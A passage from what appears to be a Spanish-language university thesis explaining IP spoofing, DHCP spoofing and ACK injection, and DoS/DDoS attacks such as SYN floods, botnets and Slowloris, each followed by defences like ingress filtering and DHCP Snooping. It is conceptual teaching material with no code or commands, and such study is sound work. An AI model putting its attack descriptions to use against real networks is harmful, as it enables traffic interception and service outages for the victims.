terminar con su ataque aunque si el host suplantado pasa a estar fuera de linea el

atacante no tiene que preocuparse acerca de lo que la victima esta enviando.

6.4.6 IMPLEMENTACION DE IP SPOOFING.

El IP Spoofing es un método de engafio y se puede usar de la misma manera que muchos

otros métodos de engafio por ejemplo:

= Man in the middle: En estos ataques, un tercero malicioso intercepta una
comunicacion legitima entre dos partidos amistosos, el host malicioso controla el flujo
de la comunicacién y puede eliminar o alterar la informacion enviada por uno de los
participantes originales sin el conocimiento ni del remitente original o el destinatario,
de esta manera, un atacante puede engafiar a una victima para que revelen
informacion confidencial.

» Routing redireccion: Se redirige la informaciéon enrutada desde el host original al
host del atacantes.

= Source routing: Se remiten paquetes individuales desde el host del atacante.

= Blind Spoofing: Este es un atague mas sofisticado, porque la secuencia y los
numeros de acuse de recibo son inalcanzables, con el fin de evitar esto, varios
paquetes se envian a la maquina de destino con el fin de muestrear nimeros de
secuencia. Aunque no es el caso hoy en dia, las maquinas en el pasado utilizaron
técnicas basicas para la generaciéon de nimeros de secuencia. Fue relativamente
facil de descubrir la férmula exacta mediante el estudio de los paquetes y sesiones
TCP. Hoy en dia, la mayoria de sistemas operativos implementar generacion
aleatoria de nimero de secuencia, lo que hace dificil para predecir con exactitud.

» Flooding: Se envia gran cantidad de paquetes intentando causar una denegacion de

servicio.
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= Non-Blind Spoofing: Este tipo de ataque tiene lugar cuando el atacante esta en la
misma subred que la victima, los nUmeros de secuencia y el reconocimiento puede
inhalarse, la eliminacion de la posible dificultad de calcular con precision. La mayor
amenaza de suplantacién de identidad en este caso seria el secuestro de sesion.
Esto se logra por la corrupcién de la corriente de datos de una conexion establecida,
a continuacion, volver a establecer se basa en la secuencia correcta y los nimeros de
acuse de recibo con la maquina de ataque.

= Ataques de Denegacion de Servicio: Dado este ataque se ocupa para consumir
ancho de banda y recursos, no tiene que preocuparse de completar correctamente
los acuerdos en las conexiones y las transacciones. Mas bien, se desea inundar la

victima con tantos pagquetes como sea posible en un corto periodo de tiempo.

6.4.7 PROBLEMAS AL REALIZAR IP SPOOFING.

Los problemas tipicos que se pueden encontrar a la hora de hacer IP Spoofing.

» Los medios y dispositivos de nuestras LAN, existen switch inteligentes que pueden
impedir el MAC-Spoofing e IP Spoofing.

= En el Router pueden existir filtros y ACL’s que impiden salir con una IP que no
pertenece al rango de la red al que el Router presta servicio.

= NAT, siendo un protocolo que traduce IP internas en el IP publicas que nuestro ISP
asigna, entonces si desde el origen ya se tuneliza la IP de salida con la IP que el
proveedor asigno sera imposible falsear algo.

» En los medios del proveedor, el ISP puede imponer sus propias reglas de acceso a la
red para sus clientes es decir puede tener en sus Router-firewalls-switch ACL que
rechazan los intentos de conexion a destino cuyo origen no pertenezca al segmento

de red que dan servicios.

6.4.8 |IP SPOOFING EN KERNEL LINUX 2.0.36.

Un error en los Kernel Linux inferiores a 2.0.36 posibilita ataques IP Spoofing de forma
trivial, sin necesidad de tener acceso a la red local de la maquina atacada, ni de realizar

prediccion de numeros de secuencia TCP. El problema es debido a un error de
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implementacion del médulo TCP del Kernel, que envia informacién a una aplicacién a
través de la lectura de un "socket" sin que haya llegado a establecerse una conexion
TCP/IP. Cuando se establece una conexion TCP, ambos extremos se ponen de acuerdo
en dos numeros de secuencia iniciales (enviado y recibido), a partir de los cuales se
numeran los bytes intercambiados por ambos sistemas. Los ataques de IP Spoofing
habituales necesitan conocer dichos nimeros de secuencia iniciales, para ello es preciso
0 bien estar en la misma red local que el ordenador atacado, o bien proceder a una

prediccion de niumeros de secuencia.

Al contrario que otros muchos sistemas, Linux utiliza desde hace tiempo nimeros de
secuencia iniciales seudoaleatorias y no es susceptible a su prediccién. No obstante este
atague permite que un atacante simule una conexién TCP/IP correcta sin necesidad de
suministrar nUmeros de secuencia correctos. Esto es posible debido a tres errores en la

implementacién TCP de Linux:

» Linux solo verifica los numeros de secuencia cuando el Flag ACK de la cabecera TCP
esté activado.

» Linux almacena temporalmente los segmentos de datos TCP que se reciban mientras
la conexidn no se establezca completamente.

= Linux transfiere a la aplicacion el contenido de los almacenes temporales cuando la

conexion finaliza con el Flag FIN.

La combinaciébn de estos tres errores permite que un atacante envie datos a una

aplicacion remota aunque la conexion no se haya establecido.

6.4.9 DEFENSA CONTRA ATAQUE IP SPOOFING.

= Monitoreando: Una forma de detectar IP Spoofing es monitoreando paquetes con
algun software de monitoreo de redes tal como el netlog. El objetivo es hallar un
paquete en la interface externa de la red que tenga direcciones IP de origen y destino

pertenecientes al dominio local.

Unan-Leén Pagina 53




Marco Teorico.

= Router: Instalando un Router que filtre la entrada a la interfaz externa de la red
(conocido como un filtro de entrada) no permitiendo que un paquete lo atraviese si el
mismo tiene como direccién origen una que corresponde a la red interna. Esto
prevendria que un atacante no perteneciente a su red le envie paquetes pretendiendo
ser una maquina de su red. Esto es una buena solucién Unicamente si confiamos en
maquinas locales, si se confia en maquinas externas, esta solucion topologica falla.

= Control de acceso: Denegar el acceso desde la interfaz externa de cualquier IP que
resida en la red interna. Esto solo sirve si las IPs de confianza son las internas, si
tenemos IPS externas a las que les permite el paso nos protege contra el uso de esas
IPS.

» Eliminar Confianza: Eliminar las relaciones de confianza basadas en la direccion IP
o el nombre de las maquinas sustituyéndolas por relaciones basadas en claves
criptograficas (IPV6).

= Autenticacion: Utilizar las autenticacion basada en el intercambio de claves entre las
maquinas en la red, el uso de IPsec podria reducir drasticamente el riesgo de
Spoofing.

= Dispositivos Cisco (Cisco ASA 5500 Firewall): Es un dispositivo de cortafuegos
que protege con gran seguridad con su configuracién predeterminada, sin embargo
para aumentar la proteccién de seguridad ain mas, hay varias mejoras que se
implementado por cisco para su configuracion que se pueden utilizar para
implementar caracteristicas de seguridad adicionales.

= Comparar Logs: Comparar los logs de cuentas de procesos entre los sistemas de la
red interna, si el ataque de IP Spoofing ha sucedido en uno de los sistemas, puedes
obtener una entrada de log en la maquina victima mostrando un acceso remoto.

= |P Source Guard: Es una caracteristica de seguridad que restringe el trafico IP en la
capa 2 solo confian en puertos mediante el filtrado de trafico en funcién de la base de
datos DHCP Snooping. Esta funcién ayuda a prevenir los ataques de suplantacion de

IP cuando un host intenta falsificar y utilizar la direccién IP de otro host.
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6.5 DHCP SPOOFING.
Microsoft introdujo al DHCP en sus servidores NT con la version 3.5 de Windows NT a
finales de 1994 pero a pesar de que la llamaron una nueva funciéon no fue inventada por
ellos, luego el consejo de software de Internet (ISC: Internet Software Consortium)
publicé distribuciones de DHCP para Unix con la version 1.0.0 DHCP Server el 6 de
diciembre de1997 y una versién (2.0) que se adaptaba mejor al RFC el dia 22 de junio de
1999.

Una de las formas que tienen los administradores de red, de entregar direccionamiento IP
es mediante un servidor DHCP, el servidor DHCP escucha los broadcast generados por
los host e inicia un ciclo de conversacion hasta que finalmente entrega la direccién IP, si
en una red local aparece un segundo DHCP causando estragos en nuestra red LAN,
entonces estamos bajo un ataque de DHCP SPOOFING, en palabras simples un servidor
DHCP que suplanta o interfiere con el verdadero DHCP corporativo y si nuestra red local
no cuenta con la proteccion adecuada es bastante dificil contener este tipo de ataques,
donde tendremos constantes caidas de la red local.

6.5.1 DHCP.

Cada equipo de una red TCP/IP debe tener un nombre y una direccion IP Unicos, la
direccién IP junto con su mascara de subred relacionada, identifica al equipo host y a la
subred a la que esta conectado, al mover un equipo a una subred diferente, se debe
cambiar la direccion IP y esto seria un problema algo tedioso para un administrador
configurar siempre una maquina que se aloje en un nuevo segmento de red, sin embargo
DHCP permite asignar dinAmicamente una direccion IP a un cliente, a partir de una base

de datos de direcciones IP de servidor DHCP de la red local.

DHCP es el protocolo de servicio TCP/IP que asigna dinamicamente direcciones IP
durante un tiempo a las estaciones de trabajo, distribuyendo ademas otros parametros de
configuracion entre clientes de red autorizados, tales como la puerta de enlace o el
servidor DNS. DHCP proporciona una configuracion de red TCP/IP segura, confiable y
sencilla, evita conflictos de direcciones y ayuda a conservar el uso de las direcciones IP

de clientes en la red. Utiliza un modelo cliente/servidor en el que el servidor DHCP
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mantiene una administraciéon centralizada de las direcciones IP utilizadas en la red. Los
clientes compatibles con DHCP podran solicitar a un servidor DHCP una direccion IP y

obtener la concesién como parte del proceso de inicio de red.

El sistema béasico de comunicacion es BOOTP con la trama UDP, cuando un equipo se
inicia no tiene informacion sobre su configuracion de red y no hay nada especial que el
usuario deba hacer para obtener una direccién IP. Para esto la técnica que se usa es la
transmisién para encontrar y comunicarse con un servidor DHCP, el equipo simplemente
enviara un paquete especial de transmision en 255.255.255.255 con informacién adicional
como el tipo de solicitud, puertos de conexién etc. Cuando el servidor DHCP recibe el
paquete de transmisién, contestara con otro paquete de transmision esto es asi porque el

cliente no tiene una direccion IP y por lo tanto no es posible conectar directamente con él.

Para que todo esto funciones correctamente hay varios tipos de paquetes DHCP que
pueden emitirse tanto desde el cliente hacia el servidor, como desde los servidores hacia

un cliente entre ellos:

= DHCPDISCOVER: Es un paquete para ubicar al servidor DHCP disponible.

» DHCPOFFER: Es la respuesta del servidor a un paquete DHCPDISCOVER, que
contiene los parametros iniciales.

» DHCPREQUEST: Son las solicitudes del cliente, por ejemplo, para extender su
concesion.

= DHCPACK: Son las respuesta del servidor que contiene los parametros y la direccion
IP del cliente.

= DHCPNAK: Son las respuesta del servidor para indicarle al cliente que su concesion
ha vencido o si el cliente anuncia una configuracién de red errénea.

= DHCPDECLINE: Es cuando el cliente le anuncia al servidor que la direccién ya esta
en uso.

» DHCPRELEASE: Es cuando el cliente libera su direccion IP.

= DHCPINFORM: Cuando el cliente solicita parametros locales y tiene su direccion IP.

Entonces el primer paquete emitido por el cliente es un paquete del tipo
DHCPDISCOVER, el servidor responde con un paquete DHCPOFFER,
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fundamentalmente para enviarles una direccion IP al cliente y el cliente establece su
configuracion y luego realiza un DHCPREQUEST para validar su direccion IP la cual es
una solicitud de transmision ya que DHCPOFFER no contiene la direccion IP. El servidor
simplemente responde con un DHCPACK con la direccién IP para confirmar la asignacion.
Normalmente esto es suficiente para que el cliente obtenga una configuracién de red
efectiva, pero puede tardar mas o menos en funcion de que el cliente acepte o no la

direccion IP.

El protocolo DHCP incluye tres métodos de asignacion de direcciones IP:

= Asignacién manual o estatica: Asigna una direccion IP a una maquina determinada,
se suele utilizar cuando se quiere controlar la asignacion de direccion IP a cada
cliente y evitar que se conecten clientes no identificados.

= Asignacién automatica: Asigna una direcciébn IP de forma permanente a una
maquina cliente la primera vez que hace la solicitud al servidor DHCP y hasta que el
cliente la libera, se suele utilizar cuando el nimero de clientes no varia demasiado.

= Asignacién dinamica: El Gnico método que permite la reutilizacién dinamica de las
direcciones IP, el administrador de la red determina un rango de direcciones IP vy
cada dispositivo conectado a la red esta configurado para solicitar su direccion IP al
servidor cuando la tarjeta de interfaz de red se inicializa. El procedimiento usa un
concepto muy simple en un intervalo de tiempo controlable, esto facilita la instalacion

de nuevas maquinas clientes a la red.

6.5.2 VULNERABILIDADES CON DHCP.
El protocolo DHCP no incluye ningin mecanismo de autenticacion y debido a esto es

vulnerable a una diversidad de ataques, siendo las categorias siguientes:

= Servidores DHCP sin autorizacién proveen falsa informacion a clientes.

= Clientes sin autorizacion ganan acceso a recursos de la red.

= Ataques exhaustivos a recursos de la red por clientes DHCP maliciosos.

= Se produce fallos a la hora de manejar estructuras DHCPv6 cuando se trabaja con
direcciones IPv6 combinados en la red con DNS dinamicos, produciéndose que el

servidor de un error de segmentacion bajo ciertas circunstancias, lo que
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provocaria que dejase de responder, si se envian paquetes especialmente

manipulados relacionados con la actualizacion del estado de las concesiones.

6.5.3 ATAQUE DHCP SPOOFING.

DHCP es un protocolo no autenticado, cuando un usuario se conecta a una red no
necesita proporcionar credenciales para obtener una concesion, por tanto es posible que
un usuario no autenticado obtenga una concesion para cualquier cliente DHCP siempre
que haya un servidor DHCP disponible para proporcionarla. Asi el usuario no autenticado
podra disponer de todos los valores de opcién que el servidor DHCP proporcione con la
concesion, como la direcciéon IP del servidor WINS o del servidor DNS. Si el cliente DHCP
se identifica como miembro de una clase de usuario o de una clase de proveedor también

dispondra de las opciones asociadas a dicha clase.

Esto permite que usuarios malintencionados que tengan acceso fisico a una red habilitada
para DHCP puedan realizar un ataque de denegacién de servicio en los servidores DHCP
si solicitan muchas concesiones al servidor, lo que reduciria el nimero de concesiones

disponibles para otros clientes DHCP.

Debido a que un servidor DHCP proporciona direcciéon IP al clientes tales como la
direccién IP de uno o mas servidores DNS, un atacante puede convencer a un cliente
DHCP para hacer sus busquedas de DNS a través de su propio servidor DNS y por lo
tanto puede proporcionar sus propias respuestas a las consultas DNS del cliente. Esto a
su vez permite al atacante redirigir el trafico de red a través de si mismo, lo que le permite
observar a escondidas las conexiones entre el cliente y servidores de la red con los que

tiene contacto o simplemente para reemplazar los servidores de la red con los propios.

Como el servidor DHCP no tiene ningln mecanismo seguro para la autenticacién del
cliente, los clientes pueden obtener acceso no autorizado a las direcciones IP por las
credenciales que presentan, tales como los identificadores que pertenecen a otros
clientes DHCP. Esto también permite que los clientes DHCP agoten la cantidad de

direcciones IP que posee el servidor, presentando nuevas credenciales cada vez que se
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pide una direccion IP, el cliente puede consumir todas las direcciones IP disponibles en un
enlace de red en particular previniendo que otros clientes DHCP consigan el servicio.

Ejemplo de ATAQUE DHCP SPOOFING.

Este escenario demuestra el ataque DHCP Spoofing, cuando el cliente establece una
conexién para conseguir su direccion IP y direcciones como el DNS, el cliente realiza una
solicitud DHCP, en donde el atacante responde a dicha solicitud con la informacién
siguiente: IP 192.168.1.71/24, GW 192.168.1.66/24, DNS 292.168.1.254/24. En este caso
la direccion del Gateway proporcionada al cliente es la direccion IP correspondiente al

DHCP DNS Flle Server

atacante.

( Internets

= = = =

Hi. may | please have
IP, Gateway and DNS
{r | acdresses? kthubai

1P 192.168.1. 71524
GW: 192 168, 1.66/24
DNS:192 168 1254724

ir
1r Client sends DHCP
request packets for
IP, DNS and gateway
addresses.
Attacker Client

192.168.1.66

llustracion 8: Escenario bajo ataque de DHCP Spoofing.

Es decir que la maquina atacante se adelante a responder primeramente que el DHCP
corporativo, de tal manera que el atacante responde con direccion alteradas al cliente.

DHCP Corporativo DHCP Malicioso

client server
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llustracion 9: Escenario que demuestra el ciclo de conexién con un servidor DHCP falso.
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6.5.4 OTRO TIPO DE ATAQUE DHCP.

Denegacién de servicio contra el servidor DHCP es otro tipo de ataque que puede
ralentizar el servicio mediante una técnica especial, este ataque es especial porque el
atacante puede en esta situacién repetidamente solicitar asignaciones de direccién IP
desde el servidor DHCP y de este modo drenar el conjunto de direcciones disponibles
desde el servidor DHCP y asi el atacante puede lograr esto haciendo que las solicitudes
DHCP parecen provenir de diferentes direcciones MAC.

Por ejemplo: Cuando el servidor DHCP esta configurado para actuar como servidor proxy
DNS para los clientes DHCP y para realizar actualizaciones dinamicas de DNS existe la
posibilidad de que un usuario malintencionado realice un atague de denegacién de
servicio contra el servidor DHCP y el servidor DNS simultAneamente, inundando el

servidor DHCP con solicitudes de concesiones

DHCP ACK Injection Attack: Dado que toda la comunicacibn DHCP se realiza enviando
los paquetes a la direccibn MAC de broadcast FF:FF:FF:FF:FF:FF todos los clientes de la
LAN reciben los paquetes DHCP. Asi que existe la posibilidad de que un atacante
monitorice los intercambios DHCP y en un determinado punto de la comunicacion envie

un paquete especialmente formado para modificar su comportamiento.

Uno de los puntos donde nos interesaria intervenir es cuando el servidor reconoce con un
DHCP ACK la configuracion del cliente, primero se tiene que escuchar toda la
comunicacion poniendo atencion en el paguete REQUEST donde el cliente solicita la IP,
DNS, Gateway de aquellos datos que anteriormente le ha ofrecido el servidor DHCP. Una
vez recibido el REQUEST podriamos responder con un ACK como lo haria el servidor

DHCP real pero estableciendo la configuracion.

6.5.5 VENTAJA DE DHCP INJECTION.

La ventaja de este ataque es que no se necesita conocer el rango de direcciones IP
vélidas ni que direcciones estan libres y cuales ocupadas. Dejamos que el servidor DHCP
real nos dé toda esta informacién y solo se interviene en la fase final, en el reconocimiento

gue da el servidor sobre la configuracion seleccionada.
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6.5.6

DEFENSA CONTRA ATAQUE DHCP SPOOFING.

Deshabilitar Dhcp: En redes pequefias deshabilitar el DHCP y configurar la IP
manualmente, sin embargo solo funcionaria en redes pequefias ya que de lo
contraria seria mucho el trabajo a realizar por el administrador de red.

Registro de Auditoria: Habilitar el registro de auditoria en todos los servidores
DHCP de la red y comprobar periédicamente los archivos de registro de auditoria 'y
supervisar si el servidor DHCP recibe de los clientes un nimero de solicitudes de
concesion inusualmente alto. En Windows la ubicacion predeterminada de los
registro de auditoria de es %windir%\System32\Dhcp.

DHCP Snooping: Es una técnica caracteristicas de los switch CISCO que
determina que puertos del switch pueden o no responder a consultas DHCP, los
cuales puertos van a ser identificados como Trusted y Untrusted.

ArpON: Es una herramienta para reducir ataques de suplantacion de identidad, un
demonio que ha de instalarse en cada equipo que interviene en la conexion y que
se caracteriza porque puede detectar y bloguear ataques DHCP Spoofing vy
funciona en contra de Ettercap, cain & Abel y otras herramientas.

APP Server: El servidor debe autenticar a los usuarios antes de una llamada a la
red remota. Cuando la tuberia recibe un paquete de descubrimiento DHCP desde
un cliente, le da al cliente una direcciébn IP temporal con un tiempo de
arrendamiento corto para que el cliente pueda pasar con éxito la autenticacion de
APP (es decir, introducir el PIN de la tarjeta SecurlD), después de que el cliente se
autentica a través de APP y los intentos de renovar su contrato de arrendamiento
de la direccion, niega la solicitud y establece la llamada a la red remota al
verdadero servidor DHCP. El cliente recibe la direccién del servidor DHCP y la
falsa direccién se puede utilizar para el siguiente cliente.

Active Directory: Unicamente los servidores DHCP que utilicen Windows 2000 o
Windows Server 2003 pueden obtener autorizacion en Active Directory, es decir
que si un servidor DHCP que utiliza Windows 2000 o Windows Server 2003
descubre que no esta autorizado en Active Directory, deja de prestar servicio a los
clientes DHCP. Gracias a esta caracteristica de autorizacién, si un usuario
malintencionado instala en la red de la organizacién un servidor no autorizado que

utilice Windows 2000 o Windows Server 2003, el servidor no podra asignar
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concesiones incorrectas ni conflictivas, configurar clientes DHCP con opciones

incorrectas o interrumpir los servicios de red.

6.5.7 SOLUCIONES CON DHCP SNOOPING.

Es una serie de técnicas aplicadas para garantizar la seguridad de una infraestructura de
DHCP, cuando un servidor DHCP estan asignando direcciones IP a los clientes de la
LAN, DHCP Snooping se puede configurar en los switch para endurecer la seguridad y
para permitir que solo los clientes con IP especifica / direcciones MAC puedan acceder a
la red.

Descripcién DHCP Snooping.

DHCP Snooping es una serie de técnicas de capa 2 que garantiza la integridad IP en el

dominio de conmutacion y se trabaja con la informacién de un servidor DHCP para:

= Seguimiento de la ubicacién fisica host.
= Asegurar de que los host sélo utilizan las direcciones IP asignadas.

= Asegurar de que so6lo los usuarios autorizados por el servidor DHCP sean accesible.

Con DHCP Snooping, tiene una lista blanca de direcciones IP que pueden acceder a la
red. La lista blanca esta configurada en nivel de puerto del switch y el servidor DHCP
gestiona el control de acceso, sélo las direcciones IP especificas con determinadas

direcciones MAC de los puertos especificos pueden tener acceso a la red IP.

Funcionamiento DHCP Snooping.

El DHCP Snooping es una caracteristica Cisco Catalyst que determina que puertos del
switch pueden responder a las peticiones DHCP. Los puertos son identificados como
confiables y no confiables. Los puertos confiables pueden enviar todos los mensajes
DHCP, mientas que los puertos no confiables pueden enviar peticiones solamente. Los
puertos confiables albergan un servidor DHCP o pueden ser un enlace a través del
servidor DHCP. Si un dispositivo detecta un puerto no confiable intenta enviar una

respuesta DHCP dentro de la red y el puerto es apagado.
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Los puertos no confiables son aquellos que no estan configurados explicitamente como
confiables. Una tabla DHCP es construida para los puertos no confiables. Cada entrada
contiene la direccion MAC del cliente, su direccion IP, tiempo de arrendamiento, tipo de
vinculo, numero de VLAN e ID de puerto registrado como. La tabla se utiliza para filtrar
subsecuentemente el trafico DHCP, desde la perspectiva del DHCP Snooping los puertos
de acceso no confiables no deberian enviar ninguna respuesta al servidor DHCP como
una DHCPOFFER, DHCPACK o DHCPNAK.

6.6 ATAQUE DE DENEGACION DE SERVICIOS.

Los ataques de Distribuidos de denegacién de servicio (DDoS) son una real y creciente
amenaza para las empresas en todo el mundo. Disefiado para eludir la deteccién por
herramientas mas populares de la actualidad, estos atagues pueden rapidamente
incapacitar a una empresa especifica, con un costo de miles de victimas y millones de
délares en pérdidas de ingresos y la productividad. Este tipo de ataque han ido
proliferando hasta convertirse en uno de los tipos de amenaza basicos a los que se
enfrenta practicamente cualquier industria y area de mercado que esté expuesta a
Internet y siendo uno de los ataques mas usado de hoy en dia y causante de pérdidas
significativas de ingresos y recursos. Los atacantes se aprovechan de vulnerabilidades a
distintos niveles de seguridad existentes, la naturaleza distribuida de estos ataques hace
gque las soluciones de seguridad centralizadas tradicionales dejen de ser eficaces, cada
ataque de denegacion de servicio es Unico porque cada ataque logra un aumento de la
complejidad de la planificacion, monitorizacion, mitigaciobn y analisis posterior para
cualquier organizacién ya que este tipo de ataque intenta derribar e infiltrarse en sitios
Web, inundando el servidor origen del sitio con peticiones fraudulentas a menudo desde

varias ubicaciones y redes.

Los ataques DoS sobrecargan los servidores con solicitudes incesantes hasta que los
servidores se vuelven tan lentos que los usuarios regulares se rinden a la frustracion o
todos los servidores colapsan juntos. Hoy en dia, los piratas informaticos suelen realizar
ataques DoS contra compafiias por razones ideoldgicas, sin embargo los creadores de

virus profesionales se inclinan mas a amenazar a los negocios en linea con ataques DoS
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en un intento de ganar dinero. Un ataque de Denegacion de Servicio Distribuido (DDoS)
difiere del DoS solamente en el método, un DoS se realiza desde un ordenador o servidor,
mientras que un DDoS es un DoS organizado para que suceda simultdneamente desde

un gran numero de ordenadores o servidores.

6.6.1 DENIAL OF SERVICE/ DISTRIBUTED DENIAL OF SERVICE (DoS-DDoS).

En seguridad informética, un Atague de denegacién de servicios, también llamado
ataque DoS (de las siglas en inglés Denial of Service), es un ataque a un sistema de
computadoras o0 red que causa que un servicio o recurso sea inaccesible a los usuarios
legitimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo
del ancho de banda de la red de la victima o sobrecarga de los recursos computacionales
del sistema de la victima. Se genera mediante la saturacion de los puertos con flujo de
informacion, haciendo que el servidor se sobrecargue y no pueda seguir prestando
servicios, por eso se le denomina "denegacion”, pues hace que el servidor no dé abasto a
la cantidad de solicitudes, siendo esta técnica el ciber ataque mas usual y eficaz por su

sencillez tecnolégica.

Una ampliacion del ataque DoS es el llamado ataque distribuido de denegacién de
servicio, también llamado ataque DDoS (de las siglas en inglés Distributed Denial of
Service) el cual lleva a cabo generando un gran flujo de informacién desde varios puntos
de conexién. DDoS no es mas que un atague de negacién de servicio pero distribuido,
ejecutado a través de una red de computadores zombis. Sin embargo es muy dificil de
detener, ya que no se puede diferenciar el origen del ataque para bloquear las solicitudes

ya que estas dificilmente se pueden aislar de las de los clientes reales.

Este método consiste en lo complejo del rastreo de los verdaderos atacantes, ya que
quienes envian las solicitudes ofensivas no guardan relacion alguna directa con el
atacante. Todos estos usuarios andénimos en la mayoria de los casos son controlados
mediante instrucciones colocadas en un canal de IRC (Internet Relay Chat), una de las
més antiguas formas de chatear en la red. Ellos simplemente se conectan a un puerto

determinado en un servidor con un dominio flotante, obteniendo instrucciones. Sin
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embargo se puede contra atacar un atague de DDoS atacando al servidor IRC del que
reciben sus Ordenes los equipos zombis. Estd es una técnica muy compleja ya que
primero hay que capturar un zombis y estudiar su rootkit para saber cual es su "root
master" y asi luego atacarlo, pero los hackers utilizan dominios dinamicos y pueden

levantar otro servicio IRC con el mismo nombre rapidamente.

Es decir que la clave del éxito para los ataques de DDoS es la cantidad de “zombis” con
que cuenta cada Botnet. Podemos afirmar que mayor es el nimero de maquinas
atacantes, mayor es la efectividad del ataque, por ejemplo: Si Una Botnet tiene 3000
maquinas zombis listas para atacar y cada maquina utiliza una conexion hogarefia con un
promedio de 128 Kb/s de ancho de banda de subida entonces tendriamos un calculo

siguiente:

3000 hosts * 128 KB/s de SUBIDA = 384000 KB/s = 375,00MiB/s

Es decir, que se genera un trafico resultante de 375,00 MiB/s, el cual es un ancho de
banda mas que suficiente para colapsar practicamente cualquier sistema ya que los
vinculos que los ISP le otorgan a los servidores target son claramente inferiores a este

valor.

Ejemplo de Ataque DDoS.

Este escenario demuestra la manera de cémo se realiza un ataque flood, muy utilizado en
los atagues de Denegacion de Servicio, cuyo objetivo principal es él envié de multiples
paquetes de gran tamafio provocando una inundacion en el host victima. La maquina
atacante genera muchas peticiones de conexion con el servidor victima, luego dicho
servidor responde a la conexién a un host que no existe y en el cual se utiliz6 la técnica

de IP Spoofing para poder lograr este tipo de ataque.
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llustracion 10: Demostracion de conexiones bajo ataque Syn Flood.

6.6.2 OBJETIVOS DEL ATAQUE DE DENEGACION DE SERVICIOS.

» Flood para que evitar que se conecte a la red.

= Mantienes el PC ocupado mientras Spoofing su IP o MAC.

= [ntentar que el IDS o Firewall deje de funcionar.

= Por ataques sin escripulos de las empresas competidoras que buscaban una ventaja
desleal de su negocio.

» Los ataques ideoldgicos se pueden lanzar por entidades gubernamentales
0 “hacktivistas”. Los hacktivistas tienden a buscar publicidad atacando
organizaciones de alto nivel o sitios que simbolicen practicas politicas conflictivas.

= Un atacante puede controlar decenas o incluso cientos de servidores y apuntar toda
esa potencia de ataque acumulada de todos estos sistemas a un Unico objetivo. El
atacante irrumpe en numerosos sitios, instala el script del ataque de denegacion de
servicio a cada uno y luego organiza un ataque coordinado para ampliar la intensidad
de estas agresiones cibernéticas.

= Alteraciéon de informacion de estado, tales como interrupciéon de sesiones TCP e
interrupcién de componentes fisicos.

» Obstruccion de medios de comunicacion entre los usuarios de un servicio y la victima

de manera que ya no puedan comunicarse adecuadamente.
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6.6.3 IMPACTO DE LOS ATAQUES DDoS.

Los ataques DDoS son dirigidos a los servidores de aplicaciones Web o también a
recursos de bases de datos, mientras que las aplicaciones basadas en ataques soélo
representan un 26% de todos los ataques. Los ataques DDoS son mas sofisticado y
mucho mas dificil de detener suelen atacar a dispositivos de seguridad de red porque
estos dispositivos limitan el trafico regular. Algunas aplicaciones ataques DDoS
simplemente inundan una aplicacion web con solicitudes ilegitimas en un intento de
aplastar el poder de procesamiento del servidor, también otros ataques explotan las fallas
de logica de negocios, por ejemplo, un sitio Web del mecanismo de busqueda puede
requerir tratamiento excesivo por un servidor de base de datos y convertirse en un
objetivo entonces un ataque DDoS podria explotar esta debilidad mediante la realizacion
de miles de peticiones de busqueda con comodines para abrumar a la base de datos final.

En el 2009 surgi6 una aplicacién peligrosa "Slowloris", este ataque interrumpio el servicio
de aplicacion que agota el servicio web con agrupaciones de conexiones al servidor, en
dicho ataque, el atacante envia una incompleta solicitud HTTP y envia periddicamente
lineas de cabecera para mantener la conexion viva, pero nunca envia la solicitud

completa.

El impacto de un exitoso ataque DDoS es generalizada, el rendimiento del sitio se ve
seriamente comprometida, lo que resulta que los clientes se frustren, los acuerdos de
nivel de servicio son violados, provocando créditos costosos y la reputacién de la
compafiia se empafia, a veces de forma permanente. La pérdida de ingresos, pérdida de
productividad, aumento de los gastos, costos. Las cifras actualmente son asombrosas, las
estimaciones de Forrester, IDC y Yankee Group predicen que una interrupcion de 24
horas para una gran empresa de comercio electrénico se acercaria a $ 30 millones. Una
serie de ataques DDoS contra Amazon, Yahoo, eBay y otros sitios importantes en febrero
de 2000 caus6 una pérdida estimada acumulada de$1.2 billones, segun el Yankee Group
y en enero de 2001, Microsoft perdié aproximadamente$ 500 millones. Algunas
companfias de seguridad estiman que se producen unos 7,000 ataques de estos tipos

todos los dias provocado pérdidas millonarias en diferentes empresas. Por otra parte el
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75% de los expertos en Tl asegura que el dafio a su imagen es uno de los problemas que

mas temen tras sufrir un ataque DDoS.

Un estudio ha demostrado que hay un importante nimero de empresas que ya han

sufrido este tipo de ataques, que llegan a costar $100.000 dolares por hora de inactividad.

Corero Network Security, fabricante lider de Sistemas de Prevencién de Intrusiones
(IPS) y Sistemas de Defensa frente a ataques Distribuidos de Denegacion de Servicio
(DDo0S), presento un informe en el que se detallan los cinco mayores atagues DDoS
acontecidos en 2011 y ha evidenciado un incremento en los ataques contra empresas
perpetrados por los denominados "hactivists" (hackers activistas) que perpetran ataques
DDoS a sitios Web, actuando por motivos politicos e. En este sentido, los embates
ejecutados contra Mastercard, Visa, Sony, PayPal y la CIA encumbran la lista de Corero

Network Security.

Por ejemplo, los ataques DDoS de MyDoom utilizaron un gusano para distribuir el
lanzamiento de un ataque por flujos. Debido a que estos botnets se venden y estan
disponibles globalmente en el mercado negro, un atacante puede comprar el uso de un
Botnet por menos de $ 100 ddlares para un flujo de ataques, o contratar ataques

especificos por $ 5 doélares la hora.

6.6.4 METODOS DE ATAQUE.

En un servidor cuando hay demasiadas peticiones de personas de todo Internet, éste se
satura, después trabaja mas lento hasta que llega el punto en que deja de funcionar
puede que se apague directamente o que solo deje de responder a las conexiones, el
servidor no funcionara igual hasta que el ataque pare o se haya logrado bloquear las

conexiones ilegitimas, un atague puede ser perpetuado de varias formas.

= Consumo de recursos computacionales: El objetivo es prevenir que los hosts o
que las redes puedan comunicarse. Un ejemplo de este tipo de ataque es el conocido
como "SYN Flood", el atacante comienza estableciendo una conexiébn con la
computadora de la victima, mientras tanto la maquina afectada ha reservado un

namero limitado de estructuras de datos requeridos para completar la conexion. El
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resultado es que las conexiones legitimas son negadas mientras que la maquina
afectada estda a la espera de completar las conexiones "semi abiertas" por el
atacante. Un intruso también puede utilizar los propios recursos del sistema en su
contra. Un ejemplo es la "Negacion de Servicio UDP", en este ataque un intruso
utiliza paquetes UDP manipulados para conectar al servicio hecho en una maquina al
servicio cargado en otra maquina. El resultado es que los dos servicios consumen el
trafico disponible de la red entre ambas, un intruso podria también consumir todo el
ancho de banda disponible en una red generando un gran numero de paquetes
dirigidos a la red.

Un intruso puede tener la habilidad de causar la caida o la inestabilidad de un equipo
